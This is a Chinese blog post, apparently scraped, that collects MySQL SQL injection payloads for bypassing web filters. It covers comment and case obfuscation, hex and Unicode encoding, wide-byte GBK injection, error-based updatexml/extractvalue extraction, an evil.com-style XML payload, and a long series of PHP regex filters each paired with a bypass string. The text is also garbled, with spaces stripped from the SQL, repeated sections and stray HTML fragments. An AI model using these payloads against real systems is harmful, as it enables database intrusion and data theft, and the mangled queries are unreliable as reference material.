mysql 16进制 绕过_注入绕过技巧
1.绕过空格(注释符/* */,%a0):
两个空格代替一个空格,用Tab代替空格,%a0=空格:
%20%09%0a %0b %0c %0d %a0/**/
最基本的绕过方法,用注释替换空格:
/*注释*/
2.括号绕过空格:
如果空格被过滤,括号没有被过滤,可以用括号绕过。
在MySQL中,括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格。
例如:
select(user())fromdualwhere(1=1)and(2=2)
这种过滤方法常常用于time based盲注,例如:
?id=1%27and(sleep(ascii(mid(database()from(1)for(1)))=109))%23
(from for属于逗号绕过下面会有)
上面的方法既没有逗号也没有空格。猜解database()第一个字符ascii码是否为109,若是则加载延时。
3.引号绕过(使用十六进制):
会使用到引号的地方一般是在最后的where子句中。如下面的一条sql语句,这条语句就是一个简单的用来查选得到users表中所有字段的一条语句:
selectcolumn_namefrominformation_schema.tableswheretable_name="users"
这个时候如果引号被过滤了,那么上面的where子句就无法使用了。那么遇到这样的问题就要使用十六进制来处理这个问题了。
users的十六进制的字符串是7573657273。那么最后的sql语句就变为了:
selectcolumn_namefrominformation_schema.tableswheretable_name=0x7573657273
4.逗号绕过(使用from或者offset):
在使用盲注的时候,需要使用到substr(),mid(),limit。这些子句方法都需要使用到逗号。对于substr()和mid()这两个方法可以使用from to的方式来解决:
selectsubstr(database(0from1for1);selectmid(database(0from1for1);
对于limit可以使用offset来绕过:
select*fromnews limit0,1# 等价于下面这条SQL语句select*fromnews limit1offset0
5.比较符号(<>)绕过(使用greatest()):
同样是在使用盲注的时候,在使用二分查找的时候需要使用到比较操作符来进行查找。如果无法使用比较操作符,那么就需要使用到greatest来进行绕过了。
最常见的一个盲注的sql语句:
select*fromuserswhereid=1and ascii(substr(database(),0,1))>64
此时如果比较操作符被过滤,上面的盲注语句则无法使用,那么就可以使用greatest来代替比较操作符了。greatest(n1,n2,n3,...)函数返回输入参数(n1,n2,n3,...)的最大值。
那么上面的这条sql语句可以使用greatest变为如下的子句:
select*fromuserswhereid=1and greatest(ascii(substr(database(),0,1)),64)=64
6.or and 绕过:
and=&& or=||
7.绕过注释符号(#,--)过滤:
id=1'union select 1,2,3||'1
最后的or '1闭合查询语句的最后的单引号,或者:
id=1'union select 1,2,'3
8.=绕过:
使用like 或者 使用< 或者 >
9.绕过union,select,where等:
(1)使用注释符绕过:
常用注释符:
//,-- , /**/, #, --+, -- -, ;,%00,--a
用法:
U/**/NION/**/SE/**/LECT/**/user,pwdfromuser
(2)使用大小写绕过:
id=-1'UnIoN/**/SeLeCT
(3)内联注释绕过:
id=-1'/*!UnIoN*/SeLeCT1,2,concat(/*!table_name*/) FrOM/*information_schema*/.tables/*!WHERE*//*!TaBlE_ScHeMa*/like database()#
(4) 双关键字绕过:
id=-1'UNIunionONSeLselectECT1,2,3–-
10.通用绕过(编码):
如URLEncode编码,ASCII,HEX,unicode编码绕过:
or1=1即%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。
11.等价函数绕过:
hex()、bin()==>ascii()
sleep()==>benchmark()
concat_ws()==>group_concat()
mid()、substr()==>substring()@@user==>user()@@datadir==>datadir()
举例:substring()和substr()无法使用时:?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74或者:
substr((select'password'),1,1)=0x70strcmp(left('password',1),0x69)=1strcmp(left('password',1),0x70)=0strcmp(left('password',1),0x71)=-1
12.宽字节注入:
过滤 ' 的时候往往利用的思路是将 ' 转换为 \' 。
在 mysql 中使用 GBK 编码的时候,会认为两个字符为一个汉字,一般有两种思路:
(1)%df 吃掉 \ 具体的方法是 urlencode('\) = %5c%27,我们在 %5c%27 前面添加 %df ,形成 %df%5c%27 ,而 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字,%df%5c 就是一个汉字,%27 作为一个单独的(')符号在外面:
id=-1%df%27union select 1,user(),3--+
(2)将 \' 中的 \ 过滤掉,例如可以构造 %**%5c%5c%27 ,后面的 %5c 会被前面的 %5c 注释掉。
一般产生宽字节注入的PHP函数:
1.replace():过滤 ' \ ,将 ' 转化为 \' ,将 \ 转为 \\,将 " 转为 \" 。用思路一。
2.addslaches():返回在预定义字符之前添加反斜杠(\)的字符串。预定义字符:' , " , \ 。用思路一
(防御此漏洞,要将 mysql_query 设置为 binary 的方式)
3.mysql_real_escape_string():转义下列字符:
\x00 \n \r \'" \x1a
(防御,将mysql设置为gbk即可)
过滤*2
0x00 sql注入的原因
sql注入的原因,表面上说是因为 拼接字符串,构成sql语句,没有使用 sql语句预编译,绑定变量。
但是更深层次的原因是,将用户输入的字符串,当成了 “sql语句” 来执行。
比如上面的 String sql = "select id,no from user where id=" + id;
我们希望用户输入的 id 的值,仅仅作为一个字符串字面值,传入数据库执行,但是当输入了: 2 or 1=1 时,其中的 or 1=1 并没有作为 where id= 的字面值,而是作为了 sql语句 来执行的。所以其本质是将用户的输入的数据,作为了命令来执行。
0x01 sql注入绕过
1.1 注释符绕过
常用注释符:
//,-- , /**/, #, --+, -- -, ;,%00,--aUNION/**/Select/**/user,pwd,fromuserU/**/NION/**/SE/**/LECT/**/user,pwdfromuser
1.2 大小写绕过
?id=1+UnIoN/**/SeLeCT
1.3 内联注释绕过
id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM/*information_schema*/.tables/*!WHERE */+/*!TaBlE_ScHeMa*/+like+database()-- -
通常情况下,上面的代码可以绕过过滤器,请注意,我们用的是 Like而不是 =
1.4 双关键字绕过
?id=1+UNIunionON+SeLselectECT+1,2,3–
1.5 编码绕过
如URLEncode编码,ASCII,HEX,unicode编码绕过
or1=1即%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。十六进制编码SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))双重编码绕过?id=1%252f%252a*/UNION%252f%252a /SELECT%252f%252a*/1,2,password%252f%252a*/FROM%252f%252a*/Users--+一些unicode编码举例: 单引号:'%u0027 %u02b9%u02bc
%u02c8%u2032
%uff07%c0%27%c0%a7%e0%80%a7
空白:
%u0020%uff00
%c0%20%c0%a0%e0%80%a0
左括号(:
%u0028%uff08
%c0%28%c0%a8%e0%80%a8
右括号):
%u0029%uff09
%c0%29%c0%a9%e0%80%a9
1.6 空格绕过
两个空格代替一个空格,用Tab代替空格%20 %09 %0a %0b %0c %0d %a0 /**/
括号绕过空格
在MySQL中,括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来
select(user())from dual where 1=1 and 2=2;
1.7 万能密钥绕过
用经典的or1=1判断绕过,如or‘swords’ =’swords
1.8 +,-,.号拆解字符串绕过
?id=1' or'11+11'='11+11'"-"和"."
1.9 like绕过
?id=1' or 1 like 1绕过对“=”,“>”等的过滤
2.0 in绕过
or'1'IN('swords')
2.1 >,
or'password'>'pass'or1<3
2.2 等价函数与命令绕过
1.函数或变量
hex()、bin()==>ascii()sleep()==>benchmark()concat_ws()==>group_concat()mid()、substr()==>substring()@@user==>user()@@datadir==>datadir()举例:substring()和substr()无法使用时:?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74 或者:substr((select 'password'),1,1) = 0x70strcmp(left('password',1),0x69)= 1strcmp(left('password',1),0x70)= 0strcmp(left('password',1),0x71)= -1
2.符号
and和or有可能不能使用,可以试下&&和||=不能使用的情况,可以考虑尝试
3.生僻函数
MySQL/PostgreSQL支持XML函数:SelectUpdateXML(‘ ’,’/script/@x/’,’src=//evil.com’); ?id=1 and 1=(updatexml(1,concat(0x3a,(selectuser())),1))SELECTxmlelement(nameimg,xmlattributes(1assrc,'a\l\x65rt(1)'as\117n\x65rror)); //postgresql?id=1 and extractvalue(1, concat(0x5c, (selecttable_namefrominformation_schema.tableslimit1)));and 1=(updatexml(1,concat(0x5c,(selectuser()),0x5c),1))andextractvalue(1,concat(0x5c, (selectuser()),0x5c))
2.3 反引号`绕过
select`version()`,可以用来过空格和正则,特殊情况下还可以将其做注释符用
2.4 换行符绕过
%0a、%0d
2.5 截断绕过
%00,%0A,?,/0,........,%80-%99
目录字符串,在window下256字节、linux下4096字节时会达到最大值,最大值长度之后的字符将被丢弃。
././././././././././././././././abc
abc
..1/abc/../1/abc/../1/abc
2.6 宽字节绕过
过滤单引号时,可以试试宽字节
%bf%27 %df%27 %aa%27
2.7 \N绕过
\N其实相当于NULL字符
select*fromuserswhereid=8E0unionselect1,2,3,4,5,6,7,8,9,0select*fromuserswhereid=8.0unionselect1,2,3,4,5,6,7,8,9,0select*fromuserswhereid=\Nunionselect1,2,3,4,5,6,7,8,9,0
2.8 特殊的绕过函数
1.通过greatest函数绕过不能使用大小于符号的情况greatest(a,b),返回a和b中较大的那个数。当我们要猜解user()第一个字符的ascii码是否小于等于150时,可使用:mysql>selectgreatest(ascii(mid(user(),1,1)),150)=150; +------------------------------------------+| greatest(ascii(mid(user(),1,1)),150)=150| +------------------------------------------+|1| +------------------------------------------+如果小于150,则上述返回值为True。2.通过substr函数绕过不能使用逗号的情况mid(user()from1for1)或substr(user()from1for1)mysql>selectascii(substr(user()from1for1)) <150; +------------------------------------------+| ascii(substr(user()from1for1)) <150| +------------------------------------------+|1| +------------------------------------------+3.使用数学运算函数在子查询中报错exp(x)函数的作用: 取常数e的x次方,其中,e是自然对数的底。~x 是一个一元运算符,将x按位取补selectexp(~(select*from(selectuser())a))mysql报错:mysql>selectexp(~(select*from(selectuser())a));ERROR1690(22003):DOUBLEvalueisoutofrangein‘exp(~((select‘root@localhost’fromdual)))’这条查询会出错,是因为exp(x)的参数x过大,超过了数值范围,分解到子查询,就是:(select*from(selectuser())a) 得到字符串 root@localhost表达式’root@localhost’被转换为0,按位取补之后得到一个非常的大数,它是MySQL中最大的无符号整数
附:PHP中一些常见的过滤方法及绕过方式
过滤关键字 and orphp代码 preg_match('/(and|or)/i',$id)会过滤的攻击代码 1 or 1=1 1 and 1=1绕过方式 1 || 1=1 1 && 1=1过滤关键字 and or unionphp代码 preg_match('/(and|or|union)/i',$id)会过滤的攻击代码 unionselectuser,passwordfromusers绕过方式1&& (selectuserfromuserswhereuserid=1)='admin'过滤关键字andorunionwherephp代码 preg_match('/(and|or|union|where)/i',$id)会过滤的攻击代码1&& (selectuserfromuserswhereuser_id =1) ='admin'绕过方式1&& (selectuserfromuserslimit1) ='admin'过滤关键字andorunionwherephp代码 preg_match('/(and|or|union|where)/i',$id)会过滤的攻击代码1&& (selectuserfromuserswhereuser_id =1) ='admin'绕过方式1&& (selectuserfromuserslimit1) ='admin'过滤关键字and,or,union,where,limitphp代码 preg_match('/(and|or|union|where|limit)/i', $id)会过滤的攻击代码1&& (selectuserfromuserslimit1) ='admin'绕过方式1&& (selectuserfromusersgroupbyuser_idhavinguser_id =1) ='admin'#user_id聚合中user_id为1的user为admin过滤关键字and,or,union,where,limit,groupbyphp代码 preg_match('/(and|or|union|where|limit|group by)/i', $id)会过滤的攻击代码1&& (selectuserfromusersgroupbyuser_idhavinguser_id =1) ='admin'绕过方式1&& (selectsubstr(group_concat(user_id),1,1)userfromusers) =1过滤关键字and,or,union,where,limit,groupby,selectphp代码 preg_match('/(and|or|union|where|limit|group by|select)/i', $id)会过滤的攻击代码1&& (selectsubstr(gruop_concat(user_id),1,1)userfromusers) =1绕过方式1&&substr(user,1,1) ='a'过滤关键字and,or,union,where,limit,groupby,select,'
php代码 preg_match('/(and|or|union|where|limit|groupby|select|\')/i', $id)会过滤的攻击代码1&& (selectsubstr(gruop_concat(user_id),1,1)userfromusers) =1绕过方式1&& user_idisnotnull1&&substr(user,1,1) =0x611&&substr(user,1,1) =unhex(61)过滤关键字and,or,union,where,limit,groupby,select,', hex
php代码 preg_match('/(and|or|union|where|limit|groupby|select|\'|hex)/i', $id)会过滤的攻击代码1&&substr(user,1,1) =unhex(61)绕过方式1&&substr(user,1,1) =lower(conv(11,10,16)) #十进制的11转化为十六进制,并小写。过滤关键字and,or,union,where,limit,groupby,select,', hex, substr
php代码 preg_match('/(and|or|union|where|limit|groupby|select|\'|hex|substr)/i', $id)会过滤的攻击代码1&&substr(user,1,1) =lower(conv(11,10,16))/td>绕过方式1&&lpad(user,7,1)过滤关键字and,or,union,where,limit,groupby,select,', hex, substr, 空格
php代码 preg_match('/(and|or|union|where|limit|groupby|select|\'|hex|substr|\s)/i', $id)会过滤的攻击代码1&&lpad(user,7,1)/td>绕过方式1%0b||%0blpad(user,7,1)过滤关键字andorunionwherephp代码 preg_match('/(and|or|union|where)/i',$id)会过滤的攻击代码1|| (selectuserfromuserswhereuser_id =1) ='admin'绕过方式1|| (selectuserfromuserslimit1) ='admin'
mysql 16进制 绕过_注入绕过技巧相关推荐
- http发送16进制报文_阿里云物联网平台使用心得(25)MQTT协议详解UNSUBSCRIBE报文...
题目 大家好,超子又和大家见面了,超子我能力有限,水平不高,有什么错误的地方,欢迎板砖.超子今天给大家介绍一下UNSUBSCRIBE报文. UNSUBSCRIBE报文 从上图中可知,UNSUBSCRI ...
- http发送16进制报文_图解HTTP 第三章HTTP报文内的HTTP信息
1.HTTP报文 1).报文首部 服务器或客户端需处理的请求或响应的内容及属性 2)空行 16进制 0x0a 16进制 0x0d CR(Carriage Return,回车)'\n' LF(Line ...
- mqtt 变为乱码 接受16进制字节流_转战物联网#183;基础篇07-深入理解MQTT协议之控制报文(数据包)格式...
在MQTT协议中,一个控制报文(数据包)的结构按照前后顺序分如下三部分: 结构名 中文名 解释说明 Fixed header 固定报头 报文的最开始部分,所有报文都包含这个部分 Variable he ...
- python ascii码16进制转换_如何在Python十六进制整数和ASCii编码的字符串之间进行转换...
今天,我将与您分享一种将Python十六进制整数转换为ASCii编码的字符串的方法,该方法具有很好的参考价值,希望对大家有所帮助. 让我们一起关注小编,看看 当使用Pyserial与STM32通信时, ...
- pythonprint字节按照16进制输出_对python以16进制打印字节数组的方法详解
对python以16进制打印字节数组的方法详解 一.问题描述 如果直接用print打印bytes的话,有时候会直接显示ascii对应的字符,看起来很蛋疼. 二.运行效果 上面一行是直接用print打印 ...
- java int 16进制字符串_关于将java int类型转换为16进制字符串的问题
package p5.com.byd.mes.dev.tool.baseToChar; /** * 任意进制转换器 * @author solar */ public class Decimal { ...
- python 16进制加法_在python中追加2个十六进制值
我试图在python中附加一些十六进制值,我似乎总是在数字之间得到0x.从我搜索的内容来看,如果不将其转换为点燃的值,这是不可能的?我不确定. a = 0x7b b = 0x80000 hex(a) ...
- java 打印16进制数组_如何在Java中将字节数组转换为十六进制字符串?
从这里的讨论,特别是这个答案,这是我目前使用的功能:private final static char[] hexArray = "0123456789ABCDEF".toChar ...
- mysql 16进制字符串转中文_mysql如何把16进制转换成中文字符显示
匿名用户 1级 2012-07-06 回答 oracle的是这样的: Oracle数据库中向BLOB类型字段插入字符串并把插入的BLOB数据转换成字符串显示的方法 首先先在数据库中创建一张表 crea ...
最新文章
- 设计模式复习-状态模式
- 在Windows下使用webpack入门
- unity3d 绘制小地图_Unity中实现小地图的几种方式
- Linux文件系统与日志分析(inode、inode节点耗尽故障处理、文件备份和恢复、日志文件管理)
- git stash操作
- Javolution 2.2.5 - Java Struct/Union Simplified
- 分计算iv值_快捷、经济、实用的光伏及IV曲线测试仪PVPM 1500X
- 嫁人要嫁IT男 ,嫁对了人天天都是情人节
- 华为跨域bgp_通知:2019华为认证体系全新升级!
- python发音模块-python 利用pyttsx3文字转语音过程详解
- Java EE API
- SpringBoot中前后端数据交互
- GNSS文件下载网址
- python音频处理(持续更新)
- 早餐为啥不能吃大米粥?医生:不仅是米粥,这3物也最好少吃
- 国内离线安装 Chrome 扩展程序的方法总结
- zotero文献管理|chartero 插件 绝对是有一款让你离不开的插件,可视化你的文献阅读记录,提取PDF图片方便阅读
- 海尔简爱s11怎么进入bios_海尔简爱s11系统应用商店没有登录界面怎么办?
- 阿里云购买云服务器流程及注意事项(新手用户必看图文教程)
- AI视频生成工具 抖音短视频剪辑软件